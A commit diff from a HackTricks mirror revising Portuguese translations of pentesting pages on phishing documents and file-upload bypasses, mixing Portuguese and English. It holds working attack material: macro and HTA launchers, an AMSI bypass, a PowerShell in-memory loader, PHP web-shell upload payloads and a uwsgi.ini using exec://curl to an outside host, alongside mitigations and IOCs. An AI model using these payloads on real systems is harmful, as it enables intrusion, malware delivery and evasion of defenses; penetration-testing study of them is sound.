mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/file-upload/README.md', 'src/windows
This commit is contained in:
parent
20134f0fcf
commit
19e1775dfe
@ -1,14 +1,14 @@
|
||||
# Phishing Arquivos & Documentos
|
||||
# Phishing Files & Documents
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Documentos do Office
|
||||
|
||||
Microsoft Word realiza a validação dos dados do arquivo antes de abrir um arquivo. A validação de dados é feita na forma de identificação da estrutura de dados, em conformidade com o padrão OfficeOpenXML. Se ocorrer qualquer erro durante a identificação da estrutura de dados, o arquivo em análise não será aberto.
|
||||
Microsoft Word realiza a validação dos dados do arquivo antes de abrir um arquivo. A validação dos dados é feita na forma de identificação da estrutura de dados, de acordo com o padrão OfficeOpenXML. Se ocorrer qualquer erro durante a identificação da estrutura de dados, o arquivo analisado não será aberto.
|
||||
|
||||
Geralmente, arquivos do Word que contêm macros usam a extensão `.docm`. No entanto, é possível renomear o arquivo alterando a extensão e ainda manter sua capacidade de execução de macros.\
|
||||
Normalmente, arquivos do Word que contêm macros usam a extensão `.docm`. No entanto, é possível renomear o arquivo alterando a extensão e ainda manter sua capacidade de executar macros.\
|
||||
Por exemplo, um arquivo RTF não suporta macros, por design, mas um arquivo DOCM renomeado para RTF será tratado pelo Microsoft Word e será capaz de executar macros.\
|
||||
Os mesmos internals e mecanismos se aplicam a todo o software da Microsoft Office Suite (Excel, PowerPoint etc.).
|
||||
Os mesmos mecanismos internos e processos se aplicam a todo o software da Microsoft Office Suite (Excel, PowerPoint etc.).
|
||||
|
||||
Você pode usar o seguinte comando para verificar quais extensões serão executadas por alguns programas do Office:
|
||||
```bash
|
||||
@ -16,7 +16,7 @@ assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
Arquivos DOCX que referenciam um template remoto (File –Options –Add-ins –Manage: Templates –Go) que inclui macros também podem “executar” macros.
|
||||
|
||||
### Carregamento Externo de Imagem
|
||||
### Carregamento de Imagem Externa
|
||||
|
||||
Vá para: _Insert --> Quick Parts --> Field_\
|
||||
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
|
||||
@ -29,7 +29,7 @@ _**Categories**: Links and References, **Filed names**: includePicture, and **Fi
|
||||
|
||||
#### Funções Autoload
|
||||
|
||||
Quanto mais comuns forem, maior a probabilidade de o AV detectá‑las.
|
||||
Quanto mais comuns forem, mais provável será que o AV as detecte.
|
||||
|
||||
- AutoOpen()
|
||||
- Document_Open()
|
||||
@ -64,26 +64,26 @@ Dim proc As Object
|
||||
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
|
||||
proc.Create "powershell <beacon line generated>
|
||||
```
|
||||
#### Remover metadados manualmente
|
||||
#### Remover manualmente os metadados
|
||||
|
||||
Vá para **File > Info > Inspect Document > Inspect Document**, o que abrirá o Document Inspector. Clique em **Inspect** e depois em **Remove All** ao lado de **Document Properties and Personal Information**.
|
||||
|
||||
#### Extensão do Doc
|
||||
#### Extensão do Documento
|
||||
|
||||
Ao terminar, selecione o menu suspenso **Save as type**, altere o formato de **`.docx`** para **Word 97-2003 `.doc`**.\
|
||||
Faça isso porque você não pode salvar macros dentro de um `.docx` e há um **estigma** **em torno** da extensão com macro habilitado **`.docm`** (por exemplo, o ícone em miniatura tem um grande `!` e alguns gateways web/email os bloqueiam completamente). Portanto, essa **extensão legada `.doc` é o melhor compromisso**.
|
||||
Quando terminar, selecione o dropdown **Save as type**, altere o formato de **`.docx`** para **Word 97-2003 `.doc`**.\
|
||||
Faça isso porque você **não pode salvar macros dentro de um `.docx`** e existe um **estigma** **em torno** da extensão macro-enabled **`.docm`** (p.ex. o ícone de miniatura tem um grande `!` e alguns gateways web/email os bloqueiam totalmente). Portanto, essa **extensão legada `.doc` é o melhor compromisso**.
|
||||
|
||||
#### Geradores de Macros Maliciosas
|
||||
#### Malicious Macros Generators
|
||||
|
||||
- MacOS
|
||||
- [**macphish**](https://github.com/cldrn/macphish)
|
||||
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
|
||||
|
||||
## Arquivos HTA
|
||||
## HTA Files
|
||||
|
||||
Um HTA é um programa do Windows que **combina HTML and scripting languages (such as VBScript and JScript)**. Ele gera a interface do usuário e é executado como uma aplicação "totalmente confiável", sem as restrições do modelo de segurança de um navegador.
|
||||
An HTA is a Windows program that **combines HTML and scripting languages (such as VBScript and JScript)**. It generates the user interface and executes as a "fully trusted" application, without the constraints of a browser's security model.
|
||||
|
||||
Um HTA é executado usando **`mshta.exe`**, que normalmente vem **instalado** junto com o **Internet Explorer**, fazendo com que **`mshta` dependa do IE**. Portanto, se ele tiver sido desinstalado, HTAs não poderão ser executados.
|
||||
An HTA is executed using **`mshta.exe`**, which is typically **installed** along with **Internet Explorer**, making **`mshta` dependant on IE**. So if it has been uninstalled, HTAs will be unable to execute.
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
@ -140,9 +140,9 @@ self.close
|
||||
```
|
||||
## Forçando a autenticação NTLM
|
||||
|
||||
Existem várias formas de **forçar a autenticação NTLM "remotely"**, por exemplo, você pode adicionar **imagens invisíveis** em emails ou HTML que o usuário irá acessar (até mesmo HTTP MitM?). Ou enviar para a vítima o **endereço de arquivos** que irão **disparar** uma **autenticação** apenas ao **abrir a pasta.**
|
||||
There are several ways to **force NTLM authentication "remotely"**, for example, you could add **invisible images** to emails or HTML that the user will access (even HTTP MitM?). Or send the victim the **address of files** that will **trigger** an **authentication** just for **opening the folder.**
|
||||
|
||||
**Confira essas ideias e mais nas páginas a seguir:**
|
||||
**Check these ideas and more in the following pages:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -156,24 +156,24 @@ Existem várias formas de **forçar a autenticação NTLM "remotely"**, por exem
|
||||
|
||||
### NTLM Relay
|
||||
|
||||
Não esqueça que você pode não só roubar o hash ou a autenticação, mas também **perform NTLM relay attacks**:
|
||||
Don't forget that you cannot only steal the hash or the authentication but also **perform NTLM relay attacks**:
|
||||
|
||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||
|
||||
Campanhas altamente eficazes entregam um ZIP que contém dois documentos decoy legítimos (PDF/DOCX) e um .lnk malicioso. O truque é que o loader PowerShell real está armazenado nos bytes brutos do ZIP após um marcador único, e o .lnk o extrai e executa completamente em memória.
|
||||
Highly effective campaigns deliver a ZIP that contains two legitimate decoy documents (PDF/DOCX) and a malicious .lnk. The trick is that the actual PowerShell loader is stored inside the ZIP’s raw bytes after a unique marker, and the .lnk carves and runs it fully in memory.
|
||||
|
||||
Fluxo típico implementado pelo one-liner PowerShell do .lnk:
|
||||
Typical flow implemented by the .lnk PowerShell one-liner:
|
||||
|
||||
1) Localizar o ZIP original em caminhos comuns: Desktop, Downloads, Documents, %TEMP%, %ProgramData% e o diretório pai do diretório de trabalho atual.
|
||||
2) Ler os bytes do ZIP e encontrar um marcador hardcoded (por exemplo, xFIQCV). Tudo após o marcador é o PowerShell payload embutido.
|
||||
3) Copiar o ZIP para %ProgramData%, extrair lá e abrir o .docx decoy para parecer legítimo.
|
||||
4) Bypassar o AMSI para o processo atual: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Deobfuscate a próxima etapa (por exemplo, remover todos os caracteres #) e executá-la na memória.
|
||||
1) Locate the original ZIP in common paths: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, and the parent of the current working directory.
|
||||
2) Read the ZIP bytes and find a hardcoded marker (e.g., xFIQCV). Everything after the marker is the embedded PowerShell payload.
|
||||
3) Copy the ZIP to %ProgramData%, extract there, and open the decoy .docx to appear legitimate.
|
||||
4) Contornar o AMSI para o processo atual: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Deobfuscate the next stage (e.g., remove all # characters) and execute it in memory.
|
||||
|
||||
Exemplo de skeleton PowerShell para carve e run a etapa embutida:
|
||||
Example PowerShell skeleton to carve and run the embedded stage:
|
||||
```powershell
|
||||
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
|
||||
$paths = @(
|
||||
@ -191,32 +191,32 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
||||
Invoke-Expression $code
|
||||
```
|
||||
Notas
|
||||
- A entrega frequentemente abusa de subdomínios PaaS reputáveis (por exemplo, *.herokuapp.com) e pode condicionar o acesso aos payloads (servir ZIPs benignos com base no IP/UA).
|
||||
- A próxima etapa frequentemente descriptografa base64/XOR shellcode e o executa via Reflection.Emit + VirtualAlloc para minimizar artefatos em disco.
|
||||
- A entrega frequentemente abusa de subdomínios PaaS reputados (e.g., *.herokuapp.com) e pode gate payloads (servir ZIPs benignos com base no IP/UA).
|
||||
- A próxima etapa frequentemente descriptografa base64/XOR shellcode e o executa via Reflection.Emit + VirtualAlloc para minimizar artefatos no disco.
|
||||
|
||||
Persistência usada na mesma cadeia
|
||||
- COM TypeLib hijacking of the Microsoft Web Browser control para que o IE/Explorer ou qualquer app que o incorpore reexecute o payload automaticamente. Veja detalhes e comandos prontos para uso aqui:
|
||||
Persistence used in the same chain
|
||||
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
Hunting/IOCs
|
||||
- Arquivos ZIP contendo a string marcador ASCII (por exemplo, xFIQCV) anexada aos dados do arquivo.
|
||||
- .lnk que enumera pastas pai/usuário para localizar o ZIP e abre um documento de isca.
|
||||
- Manipulação do AMSI via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Threads de negócio de longa duração terminando com links hospedados em domínios PaaS confiáveis.
|
||||
- ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data.
|
||||
- .lnk that enumerates parent/user folders to locate the ZIP and opens a decoy document.
|
||||
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Long-running business threads ending with links hosted under trusted PaaS domains.
|
||||
|
||||
## Arquivos do Windows para roubar hashes NTLM
|
||||
## Windows files to steal NTLM hashes
|
||||
|
||||
Consulte a página sobre **lugares para roubar credenciais NTLM**:
|
||||
Check the page about **places to steal NTLM creds**:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Referências
|
||||
## References
|
||||
|
||||
- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
|
||||
- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
|
||||
|
@ -15,13 +15,13 @@ Outras extensões úteis:
|
||||
- **Perl**: _.pl, .cgi_
|
||||
- **Erlang Yaws Web Server**: _.yaws_
|
||||
|
||||
### Contornar verificações de extensão de arquivo
|
||||
### Bypass verificações de extensões de arquivo
|
||||
|
||||
1. Se aplicável, **verifique** as **extensões anteriores.** Também teste usando algumas **letras maiúsculas**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Verifique **adicionar uma extensão válida antes** da extensão de execução (use as extensões anteriores também):_
|
||||
1. Se aplicável, **verifique** as **extensões anteriores.** Teste-as também usando algumas **letras maiúsculas**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Verifique **adicionar uma extensão válida antes** da extensão de execução (use também as extensões anteriores):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. Tente adicionar **caracteres especiais no final.** Você pode usar o Burp para **bruteforcear** todos os caracteres **ascii** e **Unicode**. (_Note que você também pode tentar usar as **extensões** previamente mencionadas_)
|
||||
3. Tente adicionar **caracteres especiais no final.** Você pode usar o Burp para **bruteforce** todos os caracteres **ascii** e **Unicode**. (_Nota que você também pode tentar usar as **extensões** mencionadas **anteriormente**_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@ Outras extensões úteis:
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Tente contornar as proteções **enganando o parser de extensão** do servidor com técnicas como **duplicação** da **extensão** ou **adição de junk** (**null** bytes) entre extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._
|
||||
4. Tente contornar as proteções **enganando o parser de extensões** do lado do servidor com técnicas como **duplicar** a **extensão** ou **adicionar dados lixo** (bytes **null**) entre extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -40,13 +40,13 @@ Outras extensões úteis:
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. Adicione **outra camada de extensões** ao cheque anterior:
|
||||
5. Adicione **outra camada de extensões** ao teste anterior:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Tente colocar a **extensão de execução antes da extensão válida** e torça para que o servidor esteja mal configurado. (útil para explorar misconfigurações do Apache onde qualquer coisa com extensão** _**.php**_**, mas** não necessariamente terminando em .php** executará código):
|
||||
6. Tente colocar a **extensão de execução antes da extensão válida** e torça para que o servidor esteja mal configurado. (useful to exploit Apache misconfigurations where anything with extension** _**.php**_**, but** not necessarily ending in .php** will execute code):
|
||||
- _ex: file.php.png_
|
||||
7. Usando **NTFS alternate data stream (ADS)** no **Windows**. Neste caso, um caractere de dois-pontos ":" será inserido depois de uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (ex.: "file.asax:.jpg”). Este arquivo pode ser editado depois usando outras técnicas, como usar seu short filename. O padrão "**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um ponto depois desse padrão pode ser útil para contornar restrições adicionais (ex.: "file.asp::$data.”)
|
||||
8. Tente quebrar os limites de nome de arquivo. A extensão válida é cortada. E o PHP malicioso permanece. AAA<--SNIP-->AAA.php
|
||||
7. Usando NTFS alternate data stream (ADS) no Windows. Nesse caso, um caractere dois-pontos ":" será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um arquivo vazio com a extensão proibida será criado no servidor (e.g. "file.asax:.jpg”). Esse arquivo pode ser editado depois usando outras técnicas, como usar seu short filename. O "**::$data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "file.asp::$data.”)
|
||||
8. Tente ultrapassar os limites de nome de arquivo. A extensão válida é cortada. E o PHP malicioso permanece. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
@ -61,13 +61,13 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
|
||||
|
||||
Alguns handlers de upload removem ou normalizam caracteres de ponto finais do nome de arquivo salvo. No UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) em versões anteriores à 2.9.1, você pode contornar a validação de extensão por:
|
||||
Some upload handlers trim or normalize trailing dot characters from the saved filename. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions before 2.9.1, you can bypass extension validation by:
|
||||
|
||||
- Usar um MIME de imagem válido e header mágico correspondente (ex.: o PNG `\x89PNG\r\n\x1a\n`).
|
||||
- Nomear o arquivo enviado com uma extensão PHP seguida de um ponto, por exemplo, `shell.php.`.
|
||||
- O servidor remove o ponto final e persiste `shell.php`, que será executado se for colocado em um diretório servido pela web (armazenamento público padrão como `/storage/files/`).
|
||||
- Using a valid image MIME and magic header (e.g., PNG’s `\x89PNG\r\n\x1a\n`).
|
||||
- Naming the uploaded file with a PHP extension followed by a dot, e.g., `shell.php.`.
|
||||
- The server strips the trailing dot and persists `shell.php`, which will execute if it’s placed in a web-served directory (default public storage like `/storage/files/`).
|
||||
|
||||
PoC mínimo (Burp Repeater):
|
||||
Minimal PoC (Burp Repeater):
|
||||
```http
|
||||
POST /profile/avatar HTTP/1.1
|
||||
Host: target
|
||||
@ -80,65 +80,65 @@ Content-Type: image/png
|
||||
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
||||
------WebKitFormBoundary--
|
||||
```
|
||||
Em seguida, acesse o caminho salvo (típico em Laravel + LFM):
|
||||
Então acesse o caminho salvo (típico em Laravel + LFM):
|
||||
```
|
||||
GET /storage/files/0xdf.php?cmd=id
|
||||
```
|
||||
Mitigações:
|
||||
- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
|
||||
- Implemente allowlists estritas no lado do servidor e revalide o nome de arquivo persistido.
|
||||
- Atualize unisharp/laravel-filemanager para ≥ 2.9.1.
|
||||
- Imponha allowlists estritas no lado do servidor e revalide o filename persistido.
|
||||
- Sirva uploads a partir de locais não executáveis.
|
||||
|
||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
||||
### Contornar Content-Type, Magic Number, Compression & Resizing
|
||||
|
||||
- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
|
||||
- Contorne as verificações de **Content-Type** definindo o **valor** do **header** **Content-Type** para: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Contorne a verificação de **magic number** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o comando _file_). Ou introduza o shell dentro dos **metadados**:\
|
||||
- Contorne a verificação de **magic number** adicionando no início do arquivo os **bytes de uma imagem real** (para confundir o comando _file_). Ou introduza o shell dentro dos **metadados**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` ou você também pode **inserir o payload diretamente** em uma imagem:\
|
||||
`\` ou você também poderia **inserir o payload diretamente** em uma imagem:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Se **compressions is being added to your image**, por exemplo usando algumas bibliotecas padrão do PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar o **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviverá à compressão**.
|
||||
- Se **compressão** estiver sendo aplicada à sua imagem, por exemplo usando algumas bibliotecas padrão do PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar o **PLTE chunk** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- A página web também pode estar **redimensionando** a **imagem**, usando por exemplo as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. Contudo, você pode usar o **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviverá à compressão**.
|
||||
- A página web também pode estar **redimensionando** a **imagem**, usando por exemplo as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você pode usar o **IDAT chunk** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Outra técnica para criar um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você pode usar o **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviverá à compressão**.
|
||||
- Outra técnica para criar um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você pode usar o **tEXt chunk** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Other Tricks to check
|
||||
### Outros truques para verificar
|
||||
|
||||
- Encontre uma vulnerabilidade para **rename** o arquivo já uploaded (para mudar a extensão).
|
||||
- Encontre uma vulnerabilidade para **renomear** o arquivo já enviado (para mudar a extensão).
|
||||
- Encontre uma vulnerabilidade de **Local File Inclusion** para executar o backdoor.
|
||||
- **Possible Information disclosure**:
|
||||
1. Upload **diversas vezes** (e ao **mesmo tempo**) o **mesmo arquivo** com o **mesmo nome**
|
||||
2. Upload um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe**
|
||||
3. Upload de um arquivo com **"." , "..", or "…" como nome**. Por exemplo, no Apache em **Windows**, se a aplicação salva os arquivos enviados no diretório "/www/uploads/", o nome de arquivo "." criará um arquivo chamado "uploads" no diretório "/www/".
|
||||
4. Upload de um arquivo que pode não ser facilmente deletado, tal como **"…:.jpg"** em **NTFS**. (Windows)
|
||||
5. Upload de um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` no nome. (Windows)
|
||||
6. Upload de um arquivo no **Windows** usando nomes **reservados** (**proibidos**) tais como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
|
||||
- Tente também **fazer upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando aberto acidentalmente pela vítima.
|
||||
- **Possível divulgação de informação**:
|
||||
1. Faça upload **várias vezes** (e ao **mesmo tempo**) do **mesmo arquivo** com o **mesmo nome**
|
||||
2. Faça upload de um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe**
|
||||
3. Fazer upload de um arquivo com **"." , ".." ou "…" como nome**. Por exemplo, no Apache em **Windows**, se a aplicação salva os arquivos enviados no diretório "/www/uploads/", o nome de arquivo "." vai criar um arquivo chamado "uploads" no diretório "/www/".
|
||||
4. Faça upload de um arquivo que pode não ser deletado facilmente, como **"…:.jpg"** em **NTFS**. (Windows)
|
||||
5. Faça upload de um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` no seu nome. (Windows)
|
||||
6. Faça upload de um arquivo no **Windows** usando nomes **reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
|
||||
- Tente também **fazer upload de um executável** (.exe) ou um **.html** (menos suspeito) que **execute código** quando aberto acidentalmente pela vítima.
|
||||
|
||||
### Special extension tricks
|
||||
### Truques com extensões especiais
|
||||
|
||||
Se você estiver tentando enviar arquivos para um **PHP server**, [dê uma olhada no truque do **.htaccess** para executar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Se você estiver tentando enviar arquivos para um **ASP server**, [dê uma olhada no truque do **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
Se você está tentando fazer upload de arquivos para um **servidor PHP**, [veja o truque do **.htaccess** para executar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Se você está tentando fazer upload de arquivos para um **servidor ASP**, [veja o truque do **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Os arquivos `.phar` são como os `.jar` para java, mas para php, e podem ser **usados como um arquivo php** (executando-o com php, ou incluindo-o dentro de um script...)
|
||||
Os arquivos `.phar` são como os `.jar` para Java, mas para PHP, e podem ser **usados como um arquivo php** (executando-os com php, ou incluindo-os dentro de um script...).
|
||||
|
||||
A extensão `.inc` é às vezes usada para arquivos php que são apenas usados para **importar arquivos**, então, em algum ponto, alguém poderia ter permitido **que essa extensão fosse executada**.
|
||||
A extensão `.inc` às vezes é usada para arquivos php que são apenas usados para **importar arquivos**, então, em algum ponto, alguém pode ter permitido **que essa extensão seja executada**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Se você conseguir enviar um arquivo XML para um servidor Jetty você pode obter [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Portanto, como mencionado na imagem a seguir, envie o arquivo XML para `$JETTY_BASE/webapps/` e espere o shell!
|
||||
Se você conseguir fazer upload de um arquivo XML em um servidor Jetty você pode obter [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Então, como mencionado na imagem a seguir, envie o arquivo XML para `$JETTY_BASE/webapps/` e espere o shell!
|
||||
|
||||
.png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
Fornecendo uma exploração detalhada desta vulnerabilidade, consulte a pesquisa original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
Para uma exploração detalhada desta vulnerabilidade confira a pesquisa original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Vulnerabilidades de Remote Command Execution (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Os arquivos de configuração uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", placeholders e operadores. Notavelmente, o operador '@', utilizado como `@(filename)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários schemes suportados no uWSGI, o scheme "exec" é particularmente potente, permitindo a leitura de dados a partir do stdout de um processo. Essa funcionalidade pode ser manipulada para fins nefastos como Remote Command Execution ou Arbitrary File Write/Read quando um arquivo `.ini` é processado.
|
||||
Vulnerabilidades de Remote Command Execution (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Os arquivos de configuração do uWSGI usam uma sintaxe específica para incorporar variáveis "mágicas", placeholders e operadores. Notadamente, o operador '@', utilizado como `@(filename)`, serve para incluir o conteúdo de um arquivo. Entre os vários schemes suportados no uWSGI, o scheme "exec" é particularmente potente, permitindo a leitura de dados a partir do stdout de um processo. Essa funcionalidade pode ser manipulada para fins nefastos como Remote Command Execution ou Arbitrary File Write/Read quando um arquivo de configuração `.ini` é processado.
|
||||
|
||||
Considere o seguinte exemplo de um `uwsgi.ini` malicioso, demonstrando vários schemes:
|
||||
Considere o seguinte exemplo de um arquivo `uwsgi.ini` malicioso, demonstrando vários schemes:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -156,22 +156,22 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
A execução do payload ocorre durante o parsing do arquivo de configuração. Para que a configuração seja ativada e parseada, o processo uWSGI deve ser reiniciado (potencialmente após um crash ou devido a um ataque de Denial of Service) ou o arquivo deve ser configurado para auto-reload. A funcionalidade auto-reload, se habilitada, recarrega o arquivo em intervalos especificados ao detectar mudanças.
|
||||
A execução do payload ocorre durante o parsing do arquivo de configuração. Para que a configuração seja ativada e parseada, o processo uWSGI deve ser reiniciado (potencialmente após um crash ou devido a um ataque de Denial of Service) ou o arquivo deve estar configurado para auto-reload. A funcionalidade auto-reload, se habilitada, recarrega o arquivo em intervalos especificados ao detectar mudanças.
|
||||
|
||||
É crucial entender a natureza permissiva do parsing do arquivo de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial.
|
||||
É crucial entender a natureza lax do parsing dos arquivos de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial.
|
||||
|
||||
### Gibbon LMS escrita arbitrária de arquivo para RCE pré-auth (CVE-2023-45878)
|
||||
### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
|
||||
|
||||
Um endpoint não autenticado no Gibbon LMS permite escrita arbitrária de arquivos dentro do web root, levando a RCE pré-auth ao enviar um arquivo PHP. Versões vulneráveis: até e incluindo 25.0.01.
|
||||
Um endpoint não autenticado no Gibbon LMS permite gravação arbitrária de arquivos dentro do web root, levando a RCE pré-auth ao gravar um arquivo PHP. Versões vulneráveis: até e incluindo 25.0.01.
|
||||
|
||||
